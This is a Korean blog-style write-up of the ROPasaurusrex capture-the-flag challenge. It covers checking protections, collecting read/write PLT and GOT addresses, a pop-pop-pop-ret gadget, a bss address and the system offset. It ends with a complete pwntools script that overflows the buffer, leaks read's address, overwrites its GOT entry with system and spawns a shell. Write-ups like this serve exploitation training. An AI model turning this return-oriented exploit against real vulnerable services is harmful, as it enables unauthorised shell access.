ROPasaurusrex문제는 이름에서 보이듯 ROP취약점을 이용해 권한( 쉘 )을 따와야 하는 문제이다.
ROP는 NXbit나 ASRL보호 기법을 우회하는 공격이다.
ROP를 하려면 우선 세가지의 기법을 알아두는 것이 좋다. 이에 대해서는 어떤 블로그에 자세히 설명되어있어 이 블로그를 참고했다.
이 세가지 기법을 공부하면 ROP를 하기 수월해 질 것이다.
우리가 ropasaurusrex를 ROP하기 위해서는 exploit을 하기 위한 재료들이 필요하다. 그러기 위해서는 어떤 재료가 필요한지 알 필요가 있다.
제일 먼저 checksec명령어를 통해서 ROPasaurusrex의 보호 기법들을 확인해 보자, 그리고 file이라는 명령을 통해서 바이너리를 살펴보자
checksec ropasaurusrex
file ropasaurusrex
우선 보호기법은 NXbit가 걸려있다 메모리의 write와 execute권한이 없어 쉘코드를 써도 실행이 되지 않는다. 이는 쉘코드를 쓸 수 없다는 것을 의미한다.
바이너리를 보니 마지막에 stripped라는 것이 쓰여있는데 이건 이 파일에 symbol이 없다는 말이다 이 말은 즉 gdb로 아무리 main함수를 disas를 해보려 해도 안된다는 말이다.
그 다음에는 IDA로 ropasaurusrex를 디버깅해봤다.
main함수를 찾아봤는데
어떤 사용자 정의 함수를 실행해 준뒤에 Win이라는 값을 반환한다.
사용자 정의 함수를 보면
136bye인 변수 buf를 선언한뒤에 buf에 256byte만큼의 입력을 받아 반환해준다. 이걸로 bof가 가능하다는 것을 알았다.
우선 이 파일이 가진 함수는 read와 write밖에 없는 것 같다. 이를 이용해서 ROP를 해야한다.
GOT overwrite를 이용해서 read함수의 GOT에 system함수의 주소를 넣어주면 될 것이다. 그러려면 read와 write의 plt와 GOT의 주소, 그리고 system함수의 주소가 필요하다.
# 재료파밍
필요한 것들
read의 plt, GOT주소
write의 plt, GOT주소
pppr의 주소
system의 offset
/bin/sh를 덮어써 줄 공간
우선 read와 wirte의 plt와 GOT을 각각 파밍하자 gdb에서 간단히 찾을 수 있다.
# p ( print ) 함수명
# 이 명령어를 이용해서도 알 수 있다.
저기 사진에서 첫번째로 jmp를 해주는 부분이 plt이고 jmp되는 부분이 GOT이다.
read의 plt = 0x0804832c, read의 GOT = 0x804961c
write의 plt = 0x0804830c, write의 GOT = 0x8049614
순식간에 재료를 4개 파밍했다.
이제 pppr의 주소를 찾아주자
pppr의 주소는 objdump라는 명령어를 이용해서 찾을 수 있다.
objdump -d ropasaurusrex | grep -B4 "ret"
pppr의 주소 0x80484b6
이제 /bin/sh\0x00을 넣어주기 위한 bss주소를 구해주자
bss 주소 : 0x08049628
이제 재료가 거의 모두 모였다. 마지막으로 system과 어떤 함수 사이의 offset을 구해주자 어떤함수는
바로 read함수이다 read함수에서 system함수의 주소를 빼주면 그 사이값이 나오는데 어차피 나중에 read함수를 부른 뒤 위에 offset값이 올라가 결국 system함수에 도달할 것이다.
하지만 system주소를 구하기 위해서는 gdb로 들어가서 구해야하는데 그냥 ropasaurusrex를 gdb로 들어가면 system의 주소를 구할 수 없다 system의 주소를 구하기 위해서 core라고 ropasaurusrex를 bof시켜서 segment fault를 일으키면 생기는 core라는 파일이 필요하다 그 때문에 ropasaurusrex를실행시켜 bof를 일으키자
core파일을 획득했다
그리고 gdb -q ropasaurusrex core 명령으로 core에 들어간 system의 주소를 알아내자
system_offset = 0xa9500
이제 payload를 짜자
# payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
from pwn import*
from time import *
# ===== 재료 =======
p = process("./ropasaurusrex")
d=p32
up=u32
elf=ELF("./ropasaurusrex")
read_plt = 0x0804832c
read_got = 0x804961c
write_plt = 0x0804830c
bbs=0x08049628
pppr_gadget=0x080484b6
bin_sh="/bin/sh\0x0"
lenbin_sh=len(bin_sh)
# ===== Payload =======
pay="A"*140
pay+=d(read_plt)
pay+=d(pppr_gadget)
pay+=d(0)
pay+=d(bbs)
pay+=d(lenbin_sh)
pay+=d(write_plt)
pay+=d(pppr_gadget)
pay+=d(1)
pay+=d(read_got)
pay+=d(4)
pay+=d(read_plt)
pay+=d(pppr_gadget)
pay+=d(0)
pay+=d(read_got)
pay+=d(4)
pay+=d(read_plt)
pay+="AAAA"
pay+=d(bbs)
# ===== Payload 전송 =======
p.send(pay)
p.send(bin_sh)
sleep(1)
read=up(p.recv(4))
print hex(read)
system=read-0xa9500
print hex(system)
p.send(d(system))
p.interactive()
|
payload를 짰으니 이제 실행시켜보자
ROP에 성공했다.
PS . 사실 코드를 아직 모두 이해하진 못했다... 왜 저렇게 위에 출력되는지 알아내야겠다.